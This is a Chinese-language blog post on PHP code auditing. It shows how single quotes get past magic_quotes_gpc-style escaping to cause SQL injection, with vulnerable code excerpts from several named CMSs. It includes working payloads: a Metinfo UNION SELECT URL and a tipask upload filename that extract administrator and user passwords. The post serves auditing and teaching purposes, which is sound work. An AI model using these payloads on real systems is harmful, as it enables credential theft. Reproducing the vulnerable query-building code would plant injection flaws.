在审计中如果能快速绕过限制或者快速定位到能引入单引号的地方,那么这个地方可能就是一个完美的注入,分享一下我自己目前想到的能引入单引号的情况和方法。 一、被GPC忽略的$_SERVER关于GPC这个问题,不得不说$_SERVER,在GPC开启的情况下$_SERVER是不受GPC影响的。 $SERVER用来获取服务器和执行环境信息,如果我们能控制$_SERVER的内容,那么就可能引入一个单引号。 根据之前记录的文章,我找到了$_SERVER中的三个可控的地方,分别用审计实例演示一下:$_SERVER[‘SERVER_NAME‘]、 $_SERVER[‘HTTP_X_FORWARDED_FOR’]、$_SERVER[‘PHP_SELF’] $_SERVER[‘SERVER_NAME‘] 在apache2 下 如果你没有设置ServerName或者没有把UseCanonicalName 设置为 On的话,这个值就会是客户端提供的hostname ,对于apache来说,它只取第一个host,但对于php来说,不管多少个,它全要了。 $_SERVER[‘SERVER_NAME‘] 审计实例: 在mlecms2.3中inc/lib/admin.lib.php - public static function logs($type,$info){
- global $db,$admin_config,$gmt_time;
- if($admin_config['logs_open'] == 1){
- $sql = "INSERT INTO `{$db->prefix}logs` (`type`,`info`,`pageurl`,`lang`,`username`,`ip`,`ipaddress`,`addtime`) VALUES ('{$type}','{$info}','http://{$_SERVER['SERVER_NAME']}".substr(get_url(),0,200)."','".LANG."','{$_SESSION['admin']['login']['username']}','".get_ip()."','".ip::get_address(get_ip())."','".$gmt_time."');";
- $db->execute($sql);
- }
- }
复制代码
可以看到$_SERVER[‘SERVER_NAME’]直接带入sql语句,虽然全局使用了GPC转义,但是$_SERVER并不受GPC限制,所以此处可直接注入 $_SERVER[‘HTTP_X_FORWARDED_FOR’]实例: $_SERVER[‘HTTP_X_FORWARDED_FOR’]我找到了一款cms Redlay-Social-Network github下载地址https://github.com/JamesQuintero ... 1bddcf7b028f542626e 在page_login.php中 - if((!empty($_POST['email'])) && (!empty($_POST['password'])))
- {
- //uses blowfish to hash the password for verification
- //salt will be truncated if over 22 characters
- $password=crypt($password, '$2a$07$27'.$email.'SECRET_SALT_STRING');
-
- //check previous logins
- $valid=false;
- $query=mysql_query("SELECT timestamps FROM page_login_attempts WHERE ip_address='".$_SERVER[HTTP_X_FORWARDED_FOR]."'");
复制代码
直接带入$_SERVER[HTTP_X_FORWARDED_FOR]造成sql注入 https://github.com/saatanaperkele/SUPER-DUPER-HACKED-TOGETHER-COPYPASTA-SHITFEST-PENIS/blob/937ae847f02655190a3b10a67e1be4e40a24c957/threadwatch.php 也同样存在这种情况 - if (isset($_GET['do'])) {
- switch($_GET['do']) {
- case 'addthread':
- $viewing_thread_is_watched = $tc_db->GetOne("SELECT COUNT(*) FROM `" . KU_DBPREFIX . "watchedthreads` WHERE `ip` = '" . $_SERVER['HTTP_X_FORWARDED_FOR'] . "' AND `board` = " . $tc_db->qstr($_GET['board']) . " AND `threadid` = " . $tc_db->qstr($_GET['threadid']) . "");
- if ($viewing_thread_is_watched == 0) {
- $newestreplyid = $tc_db->GetOne('SELECT `id` FROM `'.KU_DBPREFIX.'posts` WHERE `boardid` = ' . $boardid . ' AND `IS_DELETED` = 0 AND `parentid` = '.$tc_db->qstr($_GET['threadid']).' ORDER BY `id` DESC LIMIT 1');
- $newestreplyid = max(0, $newestreplyid);
- $tc_db->Execute("INSERT INTO `" . KU_DBPREFIX . "watchedthreads` ( `threadid` , `board` , `ip` , `lastsawreplyid` ) VALUES ( " . $tc_db->qstr($_GET['threadid']) . " , " . $tc_db->qstr($_GET['board']) . " , '" . $_SERVER['HTTP_X_FORWARDED_FOR'] . "' , " . $newestreplyid . " )");
- if (KU_APC) apc_delete('watchedthreads|' . $_SERVER['HTTP_X_FORWARDED_FOR'] . '|' . $_GET['board']);
- }
- break;
复制代码
$_SERVER[‘PHP_SELF’] 审计实例: Metinfo的一个前台注入 system\include\compatible\metv5_top.php中 - php_SELF = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
- $PHP_SELFs = explode('/', $PHP_SELF);
- $query = "SELECT * FROM {$_M['table'][column]} where module!=0 and foldername = '{$PHP_SELFs[count($PHP_SELFs)-2]}' and lang='{$_M['lang']}'";
- $column = DB::get_one($query);全局并没有过滤SERVER 但是PHP_SELF 其实是可以控制那么一小部分的。。$PHP_SELFs = explode('/', $PHP_SELF); 这里又切割成数组。$PHP_SELFs[count($PHP_SELFs)-2] 把这个带入了查询访问/member/login.php的时候 就会调用这个文件。
复制代码
http://www.am0s.com/metinfo/member/login.php/aa’UNION SELECT (select concat(admin_id,0x23,admin_pass) from met_admin_table limit 1),11113,11111,11111,11111,11111,11111,11111,11111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111%23/aa 二、$_FILES之前文章中涉及过$_FILES,请移步copy()
$_FILES出现注入的情况应该是开发忽视的一个问题,在代码中只过滤了post和get方式,忽略了$_FILES,从而导致注入 审计实例:tipask - <?php
- !defined('IN_TIPASK') && exit('Access Denied');
- class attachcontrol extends base {
- function attachcontrol(& $get, & $post) {
- $this->base(& $get, & $post);
- $this->load('attach');
- }
- function onupload() {
- //上传配置
- $config = array(
- "uploadPath" => "data/attach/", //保存路径
- "fileType" => array(".rar", ".doc", ".docx", ".zip", ".pdf", ".txt", ".swf", ".wmv", "xsl"), //文件允许格式
- "fileSize" => 10 //文件大小限制,单位MB
- );
- //文件上传状态,当成功时返回SUCCESS,其余值将直接返回对应字符窜
- $state = "SUCCESS";
- $fileName = "";
- $path = $config['uploadPath'];
- $clientFile = $_FILES["upfile"];
- if (!isset($clientFile)) {
- echo "{'state':'文件大小超出服务器配置!','url':'null','fileType':'null'}"; //请修改php.ini中的upload_max_filesize和post_max_size
- exit;
- }
- //格式验证
- $current_type = strtolower(strrchr($clientFile["name"], '.'));
- if (!in_array($current_type, $config['fileType'])) {
- $state = "不支持的文件类型!";
- }
- //大小验证
- $file_size = 1024 * 1024 * $config['fileSize'];
- if ($clientFile["size"] > $file_size) {
- $state = "文件大小超出限制!";
- }
- //保存文件
- if ($state == "SUCCESS") {
- $targetfile = $config['uploadPath'] . gmdate('ym', $this->time) . '/' . random(8) . strrchr($clientFile["name"], '.');
- $result = $_ENV['attach']->movetmpfile($clientFile, $targetfile);
- if (!$result) {
- $state = "文件保存失败!";
- } else {
- $_ENV['attach']->add($clientFile["name"], $current_type, $clientFile["size"], $targetfile, 0);
- }
- }
- //向浏览器返回数据json数据
- echo '{"state":"' . $state . '","url":"' . $targetfile . '","fileType":"' . $current_type . '","original":"'.$clientFile["name"] .'"}';
- }
- function onuploadimage() {
- //上传配置
- $config = array(
- "uploadPath" => "data/attach/", //保存路径
- "fileType" => array(".gif", ".png", ".jpg", ".jpeg", ".bmp"),
- "fileSize" => 2048
- );
- //原始文件名,表单名固定,不可配置
- $oriName = htmlspecialchars($this->post['fileName'], ENT_QUOTES);
- //上传图片框中的描述表单名称,
- $title = htmlspecialchars($this->post['pictitle'], ENT_QUOTES);
- //文件句柄
- $file = $_FILES["upfile"];
- //文件上传状态,当成功时返回SUCCESS,其余值将直接返回对应字符窜并显示在图片预览框,同时可以在前端页面通过回调函数获取对应字符窜
- $state = "SUCCESS";
- //格式验证
- $current_type = strtolower(strrchr($file["name"], '.'));
- if (!in_array($current_type, $config['fileType'])) {
- $state = $current_type;
- }
- //大小验证
- $file_size = 1024 * $config['fileSize'];
- if ($file["size"] > $file_size) {
- $state = "b";
- }
- //保存图片
- if ($state == "SUCCESS") {
- $targetfile = $config['uploadPath'] . gmdate('ym', $this->time) . '/' . random(8) . strrchr($file["name"], '.');
- $result = $_ENV['attach']->movetmpfile($file, $targetfile);
- if (!$result) {
- $state = "c";
- } else {
- $_ENV['attach']->add($file["name"], $current_type, $file["size"], $targetfile);
- }
- }
- echo "{'url':'" . $targetfile . "','title':'" . $title . "','original':'" . $oriName . "','state':'" . $state . "'}";
- }
- }
- ?>
复制代码
在tipask中,对post个get进行了过滤,忽略了$_files,在文件上传后$_ENV[‘attach’]->add($clientFile[“name”]…),将$clientFile[name] = $_FILES[“upfile”][name]带入了如下add入库的操作,从而造成注入。 poc:filename=”1′,’.php’,1,(select concat(username,0x7e,password) from ask_user limit 1),2,1)”#.jpg 三、一些编码函数这些函数应该都会被列入敏感函数的名单中,后续会更新文章 substr() 、stripslashes() 、urldecode() 、base64_decode() 、parse_str() 除此之外,可能还存在其他编码函数导致注入。想起一点写一点吧。 四、magic_quotes_gpc=Off时,addslashes的缺陷很多程序在如magic_quotes_gpc=off下自己实现一个代码来模拟magic_quotes_gpc=on的情况. 如下面的一段代码: - function daddslashes($string, $force = 0) {
- !defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
- if(!MAGIC_QUOTES_GPC || $force) {
- if(is_array($string)) {
- foreach($string as $key => $val) {
- $string[$key] = daddslashes($val, $force);
- }
- } else {
- $string = addslashes($string);
- }
- }
- return $string;
- }
复制代码
利用addslashes()函数模拟了magic_quotes_gpc=on时的效果,看上去很完美,其实是有缺陷的或者说只是模拟了magic_quotes_gpc的部分功能.magic_quotes_gpc=on时不仅仅用addslashes处理了变量值,而且处理了变量名[既$_GET/$_POST等超全局变量的key,而前面那段模拟magic_quotes_gpc的代码仅仅处理了数组的值,因此是存在安全隐患的。 实例[ECShop SQL injection 漏洞分析]文件includes/init.php判断get_magic_quotes_gpc(),如果为off则调用addslashes_deep(): - // includes/init.php
- if (!get_magic_quotes_gpc())
- {
- if (!empty($_GET))
- {
- $_GET = addslashes_deep($_GET);
- }
- if (!empty($_POST))
- {
- $_POST = addslashes_deep($_POST);
- }
- $_COOKIE = addslashes_deep($_COOKIE);
- $_REQUEST = addslashes_deep($_REQUEST);
- }
复制代码
addslashes_deep()在文件includes/lib_base.php里最后通过addslashes()处理 - // includes/lib_base.php
- function addslashes_deep($value)
- {
- if (empty($value))
- {
- return $value;
- }
- else
- {
- return is_array($value) ? array_map('addslashes_deep', $value) : addslashes($value);
- // 只处理了数组的值:)
- }
- }
复制代码
下面看下具体的导致漏洞的代码,文件 pick_out.php里: - // pick_out.php
- if (!empty($_GET['attr']))
- {
- foreach($_GET['attr'] as $key => $value)
- {
- $key = intval($key);
- $_GET['attr'][$key] = htmlspecialchars($value);
- // foreach处理的是指定数组的拷贝,所以这里的处理并不影响数组原先的key和value
- // 因此可以引入任意的key:)
- // 程序员的逻辑出了问题?
- }
- }
- ...
- foreach ($_GET['attr'] AS $key => $value)
- {
- $attr_url .= '&attr[' . $key . ']=' . $value;
- $attr_picks[] = $key;
- if ($i > 0)
- {
- if (empty($goods_result))
- {
- break;
- }
- // 利用key进行注射:)
- $goods_result = $db->getCol("SELECT goods_id FROM " . $ecs->table("goods_attr") . " WHERE goods_id IN (" . implode(',' , $goods_result) . ") AND attr_id='$key' AND attr_value='$value'");
复制代码
由于magic_quotes_gpc=off时没有对$key处理,同时在数组赋值时存在逻辑问题,最终导致了注射漏洞:) 五、str_replace绕过GPC的例子- <?php
- $test=str_replace($_GET['a'],'',$_GET['b']);
- echo $test; ?>
复制代码
test.php?a=&b=%00′ =>\0\’ test.php?a=0&b=%00′ =>\\’ 成功使用反斜杠注释掉GPC添加的反斜杠,从而引入单引号。这个问题曾发生在echop的支付模块中 六、preg_replace在法师博客看到的,法师没找到实例,我找了下也没有,看下理论吧,说不定会遇到
- <?php
- $test=0;
- extract($_GET);
- $test=preg_replace("/^(.*)(')/", "\\1\\\\'", $test);
- echo $test;
- ?>
复制代码
当提交 http://www.am0s.com/test/test.php?test=1%27 =>1\’ http://127.0.0.1/test/test.php?test=1%0d%0a%27 =>1′ 原理是该正则过滤只是把匹配到的关键字进行过滤,如果匹配不到那么就无法过滤。 利用%0d%0a可绕过正则
from:http://www.am0s.com/codesec/229.html
|